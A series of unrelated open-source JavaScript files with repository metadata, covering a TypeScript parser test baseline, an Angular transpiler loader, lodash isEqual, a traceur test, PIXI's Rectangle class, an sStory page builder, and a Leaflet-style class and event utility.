NodeType.Sub, OperatorPrecedence.Unary, NodeType.Neg, "-", ErrorRecoverySet.AddOp); // - setTokenInfo(TokenID.Asterisk, Reservation.None, OperatorPrecedence.Multiplicative, NodeType.Mul, OperatorPrecedence.None, NodeType.None, "*", ErrorRecoverySet.BinOp); // * setTokenInfo(TokenID.Slash, Reservation.None, OperatorPrecedence.Multiplicative, NodeType.Div, OperatorPrecedence.None, NodeType.None, "/", ErrorRecoverySet.BinOp); // / setTokenInfo(TokenID.Percent, Reservation.None, OperatorPrecedence.Multiplicative, NodeType.Mod, OperatorPrecedence.None, NodeType.None, "%", ErrorRecoverySet.BinOp); // % setTokenInfo(TokenID.Tilde, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.Unary, NodeType.Not, "~", ErrorRecoverySet.PreOp); // ~ setTokenInfo(TokenID.Exclamation, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.Unary, NodeType.LogNot, "!", ErrorRecoverySet.PreOp); // ! setTokenInfo(TokenID.PlusPlus, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.Unary, NodeType.IncPre, "++", ErrorRecoverySet.PreOp); // ++ setTokenInfo(TokenID.MinusMinus, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.Unary, NodeType.DecPre, "--", ErrorRecoverySet.PreOp); // -- setTokenInfo(TokenID.OpenParen, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "(", ErrorRecoverySet.LParen); // ( setTokenInfo(TokenID.OpenBracket, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "[", ErrorRecoverySet.LBrack); // [ setTokenInfo(TokenID.Dot, Reservation.None, OperatorPrecedence.Unary, NodeType.None, OperatorPrecedence.None, NodeType.None, ".", ErrorRecoverySet.Dot); // . setTokenInfo(TokenID.EndOfFile, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "<EOF>", ErrorRecoverySet.EOF); // EOF setTokenInfo(TokenID.EqualsGreaterThan, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "=>", ErrorRecoverySet.None); // => function lookupToken(tokenId) { return TypeScript.tokenTable[tokenId]; } TypeScript.lookupToken = lookupToken; var TokenClass; (function (TokenClass) { TokenClass[TokenClass["Punctuation"] = 0] = "Punctuation"; TokenClass[TokenClass["Keyword"] = 1] = "Keyword"; TokenClass[TokenClass["Operator"] = 2] = "Operator"; TokenClass[TokenClass["Comment"] = 3] = "Comment"; TokenClass[TokenClass["Whitespace"] = 4] = "Whitespace"; TokenClass[TokenClass["Identifier"] = 5] = "Identifier"; TokenClass[TokenClass["Literal"] = 6] = "Literal"; })(TokenClass = TypeScript.TokenClass || (TypeScript.TokenClass = {})); var SavedToken = (function () { function SavedToken(tok, minChar, limChar) { this.tok = tok; this.minChar = minChar; this.limChar = limChar; } return SavedToken; }()); TypeScript.SavedToken = SavedToken; var Token = (function () { function Token(tokenId) { this.tokenId = tokenId; } Token.prototype.toString = function () { return "token: " + this.tokenId + " " + this.getText() + " (" + TokenID._map[this.tokenId] + ")"; }; Token.prototype.print = function (line, outfile) { outfile.WriteLine(this.toString() + ",on line" + line); }; Token.prototype.getText = function () { return TypeScript.tokenTable[this.tokenId].text; }; Token.prototype.classification = function () { if (this.tokenId <= TokenID.LimKeyword) { return TokenClass.Keyword; } else { var tokenInfo = lookupToken(this.tokenId); if (tokenInfo != undefined) { if ((tokenInfo.unopNodeType != NodeType.None) || (tokenInfo.binopNodeType != NodeType.None)) { return TokenClass.Operator; } } } return TokenClass.Punctuation; }; return Token; }()); TypeScript.Token = Token; var NumberLiteralToken = (function (_super) { __extends(NumberLiteralToken, _super); function NumberLiteralToken(value, hasEmptyFraction) { var _this = _super.call(this, TokenID.NumberLiteral) || this; _this.value = value; _this.hasEmptyFraction = hasEmptyFraction; return _this; } NumberLiteralToken.prototype.getText = function () { return this.hasEmptyFraction ? this.value.toString() + ".0" : this.value.toString(); }; NumberLiteralToken.prototype.classification = function () { return TokenClass.Literal; }; return NumberLiteralToken; }(Token)); TypeScript.NumberLiteralToken = NumberLiteralToken; var StringLiteralToken = (function (_super) { __extends(StringLiteralToken, _super); function StringLiteralToken(value) { var _this = _super.call(this, TokenID.StringLiteral) || this; _this.value = value; return _this; } StringLiteralToken.prototype.getText = function () { return this.value; }; StringLiteralToken.prototype.classification = function () { return TokenClass.Literal; }; return StringLiteralToken; }(Token)); TypeScript.StringLiteralToken = StringLiteralToken; var IdentifierToken = (function (_super) { __extends(IdentifierToken, _super); function IdentifierToken(value, hasEscapeSequence) { var _this = _super.call(this, TokenID.Identifier) || this; _this.value = value; _this.hasEscapeSequence = hasEscapeSequence; return _this; } IdentifierToken.prototype.getText = function () { return this.value; }; IdentifierToken.prototype.classification = function () { return TokenClass.Identifier; }; return IdentifierToken; }(Token)); TypeScript.IdentifierToken = IdentifierToken; var WhitespaceToken = (function (_super) { __extends(WhitespaceToken, _super); function WhitespaceToken(tokenId, value) { var _this = _super.call(this, tokenId) || this; _this.value = value; return _this; } WhitespaceToken.prototype.getText = function () { return this.value; }; WhitespaceToken.prototype.classification = function () { return TokenClass.Whitespace; }; return WhitespaceToken; }(Token)); TypeScript.WhitespaceToken = WhitespaceToken; var CommentToken = (function (_super) { __extends(CommentToken, _super); function CommentToken(tokenID, value, isBlock, startPos, line, endsLine) { var _this = _super.call(this, tokenID) || this; _this.value = value; _this.isBlock = isBlock; _this.startPos = startPos; _this.line = line; _this.endsLine = endsLine; return _this; } CommentToken.prototype.getText = function () { return this.value; }; CommentToken.prototype.classification = function () { return TokenClass.Comment; }; return CommentToken; }(Token)); TypeScript.CommentToken = CommentToken; var RegularExpressionLiteralToken = (function (_super) { __extends(RegularExpressionLiteralToken, _super); function RegularExpressionLiteralToken(regex) { var _this = _super.call(this, TokenID.RegularExpressionLiteral) || this; _this.regex = regex; return _this; } RegularExpressionLiteralToken.prototype.getText = function () { return this.regex.toString(); }; RegularExpressionLiteralToken.prototype.classification = function () { return TokenClass.Literal; }; return RegularExpressionLiteralToken; }(Token)); TypeScript.RegularExpressionLiteralToken = RegularExpressionLiteralToken; // TODO: new with length TokenID.LimFixed TypeScript.staticTokens = new Token[]; function initializeStaticTokens() { for (var i = 0; i <= TokenID.LimFixed; i++) { TypeScript.staticTokens[i] = new Token(i); } } TypeScript.initializeStaticTokens = initializeStaticTokens; })(TypeScript || (TypeScript = {}));
thr0w/Thr0wScript
tests/baselines/reference/parserRealSource10.js
JavaScript
apache-2.0
66,627
// Entry point for Node. var fs = require('fs'); var glob = require('glob'); var path = require('path'); var traceur = require('traceur'); exports.RUNTIME_PATH = traceur.RUNTIME_PATH; var TRACEUR_PATH = traceur.RUNTIME_PATH.replace('traceur-runtime.js', 'traceur.js'); var SELF_SOURCE_REGEX = /transpiler\/src/; var SELF_COMPILE_OPTIONS = { modules: 'register', moduleName: true, script: false // parse as a module }; var needsReload = true; exports.reloadSources = function() { needsReload = true; }; exports.compile = function compile(options, paths, source) { if (needsReload) { reloadCompiler(); needsReload = false; } var inputPath, outputPath, moduleName; if (typeof paths === 'string') { inputPath = outputPath = paths; } else { inputPath = paths.inputPath; outputPath = paths.inputPath; moduleName = paths.moduleName; } outputPath = outputPath || inputPath; moduleName = moduleName || inputPath; moduleName = moduleName.replace(/\.\w*$/, ''); var localOptions = extend(options, { moduleName: moduleName }); var CompilerCls = System.get('transpiler/src/compiler').Compiler; var compiler = new CompilerCls(localOptions); var result = { js: compiler.compile(source, inputPath, outputPath), sourceMap: null }; var sourceMapString = compiler.getSourceMap(); if (sourceMapString) { result.sourceMap = JSON.parse(sourceMapString); } return result; }; // Transpile and evaluate the code in `src`. // Use existing traceur to compile our sources. function reloadCompiler() { loadModule(TRACEUR_PATH, false); glob.sync(__dirname + '/src/**/*.js').forEach(function(fileName) { loadModule(fileName, true); }); } function loadModule(filepath, transpile) { var data = fs.readFileSync(filepath, 'utf8'); if (!data) { throw new Error('Failed to import ' + filepath); } if (transpile) { var moduleName = path.normalize(filepath) .replace(__dirname, 'transpiler') .replace(/\\/g, '/') .replace(/\.\w*$/, ''); data = (new traceur.NodeCompiler( extend(SELF_COMPILE_OPTIONS, { moduleName: moduleName } ) )).compile(data, filepath, filepath); } ('global', eval)(data); } function extend(source, props) { var res = {}; for (var prop in source) { res[prop] = source[prop]; } for (var prop in props) { res[prop] = props[prop]; } return res; }
rtdkumar/angular
tools/transpiler/index.js
JavaScript
apache-2.0
2,407
import baseIsEqual from './_baseIsEqual'; /** * Performs a deep comparison between two values to determine if they are * equivalent. * * **Note:** This method supports comparing arrays, array buffers, booleans, * date objects, error objects, maps, numbers, `Object` objects, regexes, * sets, strings, symbols, and typed arrays. `Object` objects are compared * by their own, not inherited, enumerable properties. Functions and DOM * nodes are **not** supported. * * @static * @memberOf _ * @category Lang * @param {*} value The value to compare. * @param {*} other The other value to compare. * @returns {boolean} Returns `true` if the values are equivalent, else `false`. * @example * * var object = { 'user': 'fred' }; * var other = { 'user': 'fred' }; * * _.isEqual(object, other); * // => true * * object === other; * // => false */ function isEqual(value, other) { return baseIsEqual(value, other); } export default isEqual;
Maxwelloff/react-football
node_modules/lodash-es/isEqual.js
JavaScript
apache-2.0
959
// Options: --private-names --private-name-syntax import iterator from '@iter'; // TODO(arv): Add support for import @iterator private @iterator = iterator; // A binary tree class. class Tree { constructor(label, left, right) { this.label = label; this.left = left; this.right = right; } *@iterator() { if (this.left) { yield* this.left; } yield this.label; if (this.right) { yield* this.right; } } } // Create a Tree from a list. function tree(list) { var n = list.length; if (n == 0) { return null; } var i = Math.floor(n / 2); return new Tree(list[i], tree(list.slice(0, i)), tree(list.slice(i + 1))); } // A recursive generator that generates Tree labels in in-order. function* inorder1(t) { if (t) { for (var x of inorder1(t.left)) { yield x; } yield t.label; for (var x of inorder1(t.right)) { yield x; } } } // A non-recursive generator. function* inorder2(node) { var stack = []; while (node) { while (node.left) { stack.push(node); node = node.left; } yield node.label; while (!node.right && stack.length) { node = stack.pop(); yield node.label; } node = node.right; } } function accumulate(iterator) { var result = ''; for (var value of iterator) { result = result + String(value); } return result; } // ---------------------------------------------------------------------------- var alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; var root = tree(alphabet); assert.equal(alphabet, accumulate(inorder1(root))); assert.equal(alphabet, accumulate(inorder2(root))); assert.equal(alphabet, accumulate(root));
passy/traceur-todomvc
test/feature/Yield/Tree.js
JavaScript
apache-2.0
1,685
'use strict'; exports.__esModule = true; var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _const = require('../../const'); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } /** * Rectangle object is an area defined by its position, as indicated by its top-left corner * point (x, y) and by its width and its height. * * @class * @memberof PIXI */ var Rectangle = function () { /** * @param {number} [x=0] - The X coordinate of the upper-left corner of the rectangle * @param {number} [y=0] - The Y coordinate of the upper-left corner of the rectangle * @param {number} [width=0] - The overall width of this rectangle * @param {number} [height=0] - The overall height of this rectangle */ function Rectangle() { var x = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0; var y = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0; var width = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 0; var height = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : 0; _classCallCheck(this, Rectangle); /** * @member {number} * @default 0 */ this.x = x; /** * @member {number} * @default 0 */ this.y = y; /** * @member {number} * @default 0 */ this.width = width; /** * @member {number} * @default 0 */ this.height = height; /** * The type of the object, mainly used to avoid `instanceof` checks * * @member {number} * @readOnly * @default PIXI.SHAPES.RECT * @see PIXI.SHAPES */ this.type = _const.SHAPES.RECT; } /** * returns the left edge of the rectangle * * @member {number} */ /** * Creates a clone of this Rectangle * * @return {PIXI.Rectangle} a copy of the rectangle */ Rectangle.prototype.clone = function clone() { return new Rectangle(this.x, this.y, this.width, this.height); }; /** * Copies another rectangle to this one. * * @param {PIXI.Rectangle} rectangle - The rectangle to copy. * @return {PIXI.Rectangle} Returns itself. */ Rectangle.prototype.copy = function copy(rectangle) { this.x = rectangle.x; this.y = rectangle.y; this.width = rectangle.width; this.height = rectangle.height; return this; }; /** * Checks whether the x and y coordinates given are contained within this Rectangle * * @param {number} x - The X coordinate of the point to test * @param {number} y - The Y coordinate of the point to test * @return {boolean} Whether the x/y coordinates are within this Rectangle */ Rectangle.prototype.contains = function contains(x, y) { if (this.width <= 0 || this.height <= 0) { return false; } if (x >= this.x && x < this.x + this.width) { if (y >= this.y && y < this.y + this.height) { return true; } } return false; }; /** * Pads the rectangle making it grow in all directions. * * @param {number} paddingX - The horizontal padding amount. * @param {number} paddingY - The vertical padding amount. */ Rectangle.prototype.pad = function pad(paddingX, paddingY) { paddingX = paddingX || 0; paddingY = paddingY || (paddingY !== 0 ? paddingX : 0); this.x -= paddingX; this.y -= paddingY; this.width += paddingX * 2; this.height += paddingY * 2; }; /** * Fits this rectangle around the passed one. * * @param {PIXI.Rectangle} rectangle - The rectangle to fit. */ Rectangle.prototype.fit = function fit(rectangle) { if (this.x < rectangle.x) { this.width += this.x; if (this.width < 0) { this.width = 0; } this.x = rectangle.x; } if (this.y < rectangle.y) { this.height += this.y; if (this.height < 0) { this.height = 0; } this.y = rectangle.y; } if (this.x + this.width > rectangle.x + rectangle.width) { this.width = rectangle.width - this.x; if (this.width < 0) { this.width = 0; } } if (this.y + this.height > rectangle.y + rectangle.height) { this.height = rectangle.height - this.y; if (this.height < 0) { this.height = 0; } } }; /** * Enlarges this rectangle to include the passed rectangle. * * @param {PIXI.Rectangle} rectangle - The rectangle to include. */ Rectangle.prototype.enlarge = function enlarge(rectangle) { var x1 = Math.min(this.x, rectangle.x); var x2 = Math.max(this.x + this.width, rectangle.x + rectangle.width); var y1 = Math.min(this.y, rectangle.y); var y2 = Math.max(this.y + this.height, rectangle.y + rectangle.height); this.x = x1; this.width = x2 - x1; this.y = y1; this.height = y2 - y1; }; _createClass(Rectangle, [{ key: 'left', get: function get() { return this.x; } /** * returns the right edge of the rectangle * * @member {number} */ }, { key: 'right', get: function get() { return this.x + this.width; } /** * returns the top edge of the rectangle * * @member {number} */ }, { key: 'top', get: function get() { return this.y; } /** * returns the bottom edge of the rectangle * * @member {number} */ }, { key: 'bottom', get: function get() { return this.y + this.height; } /** * A constant empty rectangle. * * @static * @constant */ }], [{ key: 'EMPTY', get: function get() { return new Rectangle(0, 0, 0, 0); } }]); return Rectangle; }(); exports.default = Rectangle; //# sourceMappingURL=Rectangle.js.map
julien-moreau/pixijs_poc
node_modules/pixi.js/lib/core/math/shapes/Rectangle.js
JavaScript
apache-2.0
7,124
// Generated by CoffeeScript 1.3.3 var correctInputs, getGistFiles, getJsonCode, makeBuilder, makeNavbar, makeOpenGraph, makeTimeline, sStory, sections, submitNewSection; sections = {}; makeTimeline = function(d, i) { var timelineoptions; timelineoptions = { type: 'timeline', width: '100%', height: '620', source: d.url, embed_id: 'timeline' + i }; return $(document).ready(function() { return createStoryJS(timelineoptions); }); }; makeNavbar = function(sections) { var nav_sections, section, sectioncount, title, _i, _len; sectioncount = 0; nav_sections = sections; for (_i = 0, _len = nav_sections.length; _i < _len; _i++) { section = nav_sections[_i]; sectioncount++; section.count = sectioncount; if (section.title !== void 0) { section.title = section.title.replace(/<(?:.|\n)*?>/gm, ''); } else { title = "No title"; } $("#nav").append($(ich.navbarsection(section))); } $("#nav-expand").on('click', function() { if ($("#nav").hasClass("nav-expanded")) { return $("#nav").removeClass("nav-expanded"); } else { return $("#nav").addClass("nav-expanded"); } }); return $("#nav-expand").hoverIntent({ sensitivity: 2, interval: 120, timeout: 200, over: function() { if ($("#nav").hasClass("nav-expanded")) { return $("#nav").removeClass("nav-expanded"); } else { return $("#nav").addClass("nav-expanded"); } } /*out: -> if $("#nav").hasClass("nav-expanded") $("#nav").css("left", "-190px").removeClass("nav-expanded") else $("#nav").css("left", 0).addClass("nav-expanded") */ }); }; makeOpenGraph = function(sections) { var section, _i, _len; for (_i = 0, _len = sections.length; _i < _len; _i++) { section = sections[_i]; if (section.type === 'image' || section.type === 'image2' || section.type === 'image3') { $("head").prepend($('<meta />').attr("property", "og:title").attr("content", section.title)); $("head").prepend($('<meta />').attr("property", "og:image").attr("content", section.url)); return true; } else { return false; } } }; makeBuilder = function(sections) { var builder, sectionli, summarycontent, summaryheader; builder = d3.select("#section-summary ol"); sectionli = builder.selectAll('.section-summary-item').data(sections).enter().append("li").attr("class", "section-summary-item"); summaryheader = sectionli.append("div").attr("class", "summary-header"); summaryheader.append("h4").text(function(d, i) { if (d.title !== void 0) { return d.title; } else { return "> No title given."; } }); summaryheader.append("div").attr("class", "sectiontype").text(function(d, i) { return d.type; }); summarycontent = sectionli.append("div").attr("class", "summary-content"); return summarycontent.append("div").attr("class", "image-url").text(function(d, i) { return d.url; }); }; correctInputs = function() { switch ($('#type').val()) { case "image": $('#embed-wrapper').hide(); $('#caption').hide(); return $('#url-wrapper').show(); case "image2": $('#embed-wrapper').hide(); $('#caption').show(); $('#url-wrapper').show(); return $('#caption').attr("rows", 2); case "image3": $('#embed-wrapper').hide(); $('#caption').show(); $('#url-wrapper').show(); return $('#caption').attr("rows", 5); case "vimeo": $('#embed-wrapper').hide(); $('#caption').show(); return $('#url-wrapper').show(); case "soundcloud": $('#embed-wrapper').show(); $('#caption').hide(); return $('#url-wrapper').hide(); case "timeline": $('#embed-wrapper').hide(); $('#caption').hide(); return $('#url-wrapper').show(); case "text": $('#embed-wrapper').hide(); $('#caption').show(); return $('#url-wrapper').hide(); } }; getJsonCode = function() { return $('#json-code').val(JSON.stringify(sections)).show(); }; submitNewSection = function() { var section; section = {}; $("#error-bar").html("").css("opacity", 0); section.title = $("#add-section #title").val(); section.url = $("#add-section #url").val(); section.caption = $("#add-section #caption textarea").val(); section.type = $("#add-section #type").val(); section.embed = $("#add-section #embed").val(); console.log("New " + section.type + " section", section); if (section.title === "") { $("#error-bar").html("Every section needs a title, could you add one?").css("opacity", 1); return false; } else if (section.url === "" && section.type !== "text") { $("#error-bar").html("Looks like you forgot to add the URL.").css("opacity", 1); return false; } else if (section.type === "image2" && section.caption === "") { $("#error-bar").html("This section type needs a caption.").css("opacity", 1); return false; } else if (section.type === "image3" && section.caption === "") { $("#error-bar").html("This section type needs a caption.").css("opacity", 1); return false; } else if (section.type === "text" && section.caption === "") { $("#error-bar").html("I think you may have forgotten your text!").css("opacity", 1); return false; } if (section.type === "image" || section.type === "image2" || section.type === "image3") { sections.push({ title: section.title, type: section.type, url: section.url, caption: section.caption }); } else if (section.type === "vimeo") { sections.push({ title: section.title, type: section.type, url: section.url, caption: section.caption }); } else if (section.type === "soundcloud") { sections.push({ title: section.title, type: section.type, embed: section.embed }); } else if (section.type === "text") { sections.push({ title: section.title, type: section.type, text: section.caption }); } $("#container").html(""); $("#section-summary ol").html(""); sStory(sections); return makeBuilder(sections); }; getGistFiles = function(d, i) { var gistid; gistid = d.url; return $.ajax({ url: "https://api.github.com/gists/" + gistid, cache: false }).done(function(json) { var filenames, files, gistfiles; gistfiles = json.files; files = []; filenames = _.keys(json.files); _.each(filenames, function(filename) { return files.push(gistfiles[filename]); }); console.log("FILESSSS", files); d.files = files; return _.each(files, function(file) { var fileContainer, fileHtml; console.log(file); if (file.language = "JavaScript") { file.language = "js"; } fileHtml = $("<h4>" + file.filename + "</h4>" + "<pre class='" + file.language + "'>" + file.content + "</pre>"); fileContainer = $("<div class='gist-container'></div>").append(fileHtml); return $("#gist" + i).append(fileContainer); }); }); }; sStory = function(sections) { var container, scrollorama; makeOpenGraph(sections); makeBuilder(sections); makeNavbar(sections); container = d3.select("#container"); container.selectAll('.section').data(sections).enter().append("div").attr("id", function(d, i) { return "section-" + (i + 1); }).attr("class", function(d, i) { var classString; classString = "section " + d.type + " " + d.type + i; if (d.bgFixed !== null && d.bgFixed === true) { classString += " bg-fixed"; } return classString; }).html(function(d, i) { var html; switch (d.type) { case "text": html = ich.text(d, true); break; case "image": html = ich.image(d, true); break; case "image2": html = ich.image2(d, true); break; case "image3": html = ich.image3(d, true); break; case "vimeo": html = ich.vimeo(d, true); break; case "soundcloud": html = ich.soundcloud(d, true); break; case "map": console.log("map"); break; case "timeline": html = "<h2>" + d.title + "</h2> "; html += "<div id='timeline" + i + "'></div>"; makeTimeline(d, i); break; case "gist": html = "<h2>" + d.title + "</h2>"; html += "<div id='gist" + i + "'> </div>"; getGistFiles(d, i); break; case "slideshow": html = ich.slideshow(d, true); } return html; }).style("background-image", function(d, i) { if (d.type === "image" || d.type === "image2" || d.type === "image3") { return "url('" + d.url + "')"; } }); scrollorama = $.scrollorama({ blocks: '.section', enablePin: false }); $("#nav a:first").addClass("current-section"); if ($(document).width() > 800) { scrollorama.animate('#header-1', { duration: 300, property: "margin-top", start: 425, end: 0, easing: 'ease-in' }); } return scrollorama.onBlockChange(function() { var i; i = scrollorama.blockIndex; console.log(i); $("#nav a").removeClass("current-section"); $("#nav-section-" + (i + 1)).addClass("current-section"); $(".section").removeClass("current-section"); return $("#section-" + (i + 1)).addClass("current-section"); }); };
koakley/behindcloseddoors
sStory-master/lib/sStory.js
JavaScript
bsd-2-clause
9,422
var MA = {}; MA.Util = { extend: function (dest) { // (Object[, Object, ...]) -> var sources = Array.prototype.slice.call(arguments, 1), i, j, len, src; for (j = 0, len = sources.length; j < len; j++) { src = sources[j] || {}; for (i in src) { if (src.hasOwnProperty(i)) { dest[i] = src[i]; } } } return dest; }, bind: function (fn, obj) { // (Function, Object) -> Function // var args = arguments.length > 2 ? Array.prototype.slice.call(arguments, 2) : null; // return function () { // return fn.apply(obj, args || arguments); // }; var slice = Array.prototype.slice; if (fn.bind) { return fn.bind.apply(fn, slice.call(arguments, 1)); } var args = slice.call(arguments, 2); return function () { return fn.apply(obj, args.length ? args.concat(slice.call(arguments)) : arguments); }; }, stamp: (function () { var lastId = 0, key = '_usk310_id'; return function (obj) { obj[key] = obj[key] || ++lastId; return obj[key]; }; }()), invokeEach: function (obj, method, context) { var i, args; if (typeof obj === 'object') { args = Array.prototype.slice.call(arguments, 3); for (i in obj) { method.apply(context, [i, obj[i]].concat(args)); } return true; } return false; }, trim: function (str) { return str.trim ? str.trim() : str.replace(/^\s+|\s+$/g, ''); }, splitWords: function (str) { return MA.Util.trim(str).split(/\s+/); }, setOptions: function (obj, options) { obj.options = MA.extend({}, obj.options, options); return obj.options; }, isNumeric : function(s) { return ( s.match(/^-?[0-9]+$/) || s.match(/^-?[0-9]+\.[0-9]+$/) ); }, isArray: Array.isArray || function (obj) { return (Object.prototype.toString.call(obj) === '[object Array]'); } }; MA.extend = MA.Util.extend; MA.bind = MA.Util.bind; MA.setOptions = MA.Util.setOptions; MA.Class = function () {}; MA.Class.extend = function (props) { // extended class with the new prototype var NewClass = function () { // call the constructor if (this.initialize) { this.initialize.apply(this, arguments); } // call all constructor hooks if (this._initHooks) { this.callInitHooks(); } }; // instantiate class without calling constructor var F = function () {}; F.prototype = this.prototype; var proto = new F(); proto.constructor = NewClass; NewClass.prototype = proto; //inherit parent's statics for (var i in this) { if (this.hasOwnProperty(i) && i !== 'prototype') { NewClass[i] = this[i]; } } // mix static properties into the class if (props.statics) { MA.extend(NewClass, props.statics); delete props.statics; } // mix includes into the prototype if (props.includes) { MA.Util.extend.apply(null, [proto].concat(props.includes)); delete props.includes; } // merge options if (props.options && proto.options) { props.options = MA.extend({}, proto.options, props.options); } // mix given properties into the prototype MA.extend(proto, props); proto._initHooks = []; var parent = this; // jshint camelcase: false NewClass.__super__ = parent.prototype; // add method for calling all hooks proto.callInitHooks = function () { if (this._initHooksCalled) { return; } if (parent.prototype.callInitHooks) { parent.prototype.callInitHooks.call(this); } this._initHooksCalled = true; for (var i = 0, len = proto._initHooks.length; i < len; i++) { proto._initHooks[i].call(this); } }; return NewClass; }; // method for adding properties to prototype MA.Class.include = function (props) { MA.extend(this.prototype, props); }; // merge new default options to the Class MA.Class.mergeOptions = function (options) { MA.extend(this.prototype.options, options); }; // add a constructor hook MA.Class.addInitHook = function (fn) { // (Function) || (String, args...) var args = Array.prototype.slice.call(arguments, 1); var init = typeof fn === 'function' ? fn : function () { this[fn].apply(this, args); }; this.prototype._initHooks = this.prototype._initHooks || []; this.prototype._initHooks.push(init); }; var eventsKey = '_usk310_events'; MA.Mixin = {}; MA.Mixin.Events = { addEventListener: function (types, fn, context) { // (String, Function[, Object]) or (Object[, Object]) // types can be a map of types/handlers if (MA.Util.invokeEach(types, this.addEventListener, this, fn, context)) { return this; } var events = this[eventsKey] = this[eventsKey] || {}, contextId = context && context !== this && MA.stamp(context), i, len, event, type, indexKey, indexLenKey, typeIndex; // types can be a string of space-separated words types = MA.Util.splitWords(types); for (i = 0, len = types.length; i < len; i++) { event = { action: fn, context: context || this }; type = types[i]; if (contextId) { // store listeners of a particular context in a separate hash (if it has an id) // gives a major performance boost when removing thousands of map layers indexKey = type + '_idx'; indexLenKey = indexKey + '_len'; typeIndex = events[indexKey] = events[indexKey] || {}; if (!typeIndex[contextId]) { typeIndex[contextId] = []; // keep track of the number of keys in the index to quickly check if it's empty events[indexLenKey] = (events[indexLenKey] || 0) + 1; } typeIndex[contextId].push(event); } else { events[type] = events[type] || []; events[type].push(event); } } return this; }, hasEventListeners: function (type) { // (String) -> Boolean var events = this[eventsKey]; return !!events && ((type in events && events[type].length > 0) || (type + '_idx' in events && events[type + '_idx_len'] > 0)); }, removeEventListener: function (types, fn, context) { // ([String, Function, Object]) or (Object[, Object]) if (!this[eventsKey]) { return this; } if (!types) { return this.clearAllEventListeners(); } if (MA.Util.invokeEach(types, this.removeEventListener, this, fn, context)) { return this; } var events = this[eventsKey], contextId = context && context !== this && MA.stamp(context), i, len, type, listeners, j, indexKey, indexLenKey, typeIndex, removed; types = MA.Util.splitWords(types); for (i = 0, len = types.length; i < len; i++) { type = types[i]; indexKey = type + '_idx'; indexLenKey = indexKey + '_len'; typeIndex = events[indexKey]; if (!fn) { // clear all listeners for a type if function isn't specified delete events[type]; delete events[indexKey]; delete events[indexLenKey]; } else { listeners = contextId && typeIndex ? typeIndex[contextId] : events[type]; if (listeners) { for (j = listeners.length - 1; j >= 0; j--) { if ((listeners[j].action === fn) && (!context || (listeners[j].context === context))) { removed = listeners.splice(j, 1); // set the old action to a no-op, because it is possible // that the listener is being iterated over as part of a dispatch removed[0].action = MA.Util.falseFn; } } if (context && typeIndex && (listeners.length === 0)) { delete typeIndex[contextId]; events[indexLenKey]--; } } } } return this; }, clearAllEventListeners: function () { delete this[eventsKey]; return this; }, fireEvent: function (type, data) { // (String[, Object]) if (!this.hasEventListeners(type)) { return this; } var event = MA.Util.extend({}, data, { type: type, target: this }); var events = this[eventsKey], listeners, i, len, typeIndex, contextId; if (events[type]) { // make sure adding/removing listeners inside other listeners won't cause infinite loop listeners = events[type].slice(); for (i = 0, len = listeners.length; i < len; i++) { listeners[i].action.call(listeners[i].context, event); } } // fire event for the context-indexed listeners as well typeIndex = events[type + '_idx']; for (contextId in typeIndex) { listeners = typeIndex[contextId].slice(); if (listeners) { for (i = 0, len = listeners.length; i < len; i++) { listeners[i].action.call(listeners[i].context, event); } } } return this; }, addOneTimeEventListener: function (types, fn, context) { if (MA.Util.invokeEach(types, this.addOneTimeEventListener, this, fn, context)) { return this; } var handler = MA.bind(function () { this .removeEventListener(types, fn, context) .removeEventListener(types, handler, context); }, this); return this .addEventListener(types, fn, context) .addEventListener(types, handler, context); } }; MA.Mixin.Events.on = MA.Mixin.Events.addEventListener; MA.Mixin.Events.off = MA.Mixin.Events.removeEventListener; MA.Mixin.Events.once = MA.Mixin.Events.addOneTimeEventListener; MA.Mixin.Events.fire = MA.Mixin.Events.fireEvent; MA.TileLayer = MA.Class.extend({ includes: MA.Mixin.Events, options: { minZoom: 0, maxZoom: 18, tileSize: 256, subdomains: 'abc', errorTileUrl: '', attribution: '', zoomOffset: 0, opacity: 1, /* maxNativeZoom: null, zIndex: null, tms: false, continuousWorld: false, noWrap: false, zoomReverse: false, detectRetina: false, reuseTiles: false, bounds: false, */ // unloadInvisibleTiles: MA.Browser.mobile, // updateWhenIdle: MA.Browser.mobile }, initialize: function (url, options) { options = MA.setOptions(this, options); // detecting retina displays, adjusting tileSize and zoom levels if (options.detectRetina && L.Browser.retina && options.maxZoom > 0) { options.tileSize = Math.floor(options.tileSize / 2); options.zoomOffset++; if (options.minZoom > 0) { options.minZoom--; } this.options.maxZoom--; } if (options.bounds) { options.bounds = L.latLngBounds(options.bounds); } this._url = url; var subdomains = this.options.subdomains; if (typeof subdomains === 'string') { this.options.subdomains = subdomains.split(''); } }, onAdd: function (map) { this._map = map; this._animated = map._zoomAnimated; // create a container div for tiles this._initContainer(); // set up events map.on({ 'viewreset': this._reset, 'moveend': this._update }, this); if (this._animated) { map.on({ 'zoomanim': this._animateZoom, 'zoomend': this._endZoomAnim }, this); } if (!this.options.updateWhenIdle) { this._limitedUpdate = L.Util.limitExecByInterval(this._update, 150, this); map.on('move', this._limitedUpdate, this); } this._reset(); this._update(); }, addTo: function (map) { map.addLayer(this); return this; }, onRemove: function (map) { this._container.parentNode.removeChild(this._container); map.off({ 'viewreset': this._reset, 'moveend': this._update }, this); if 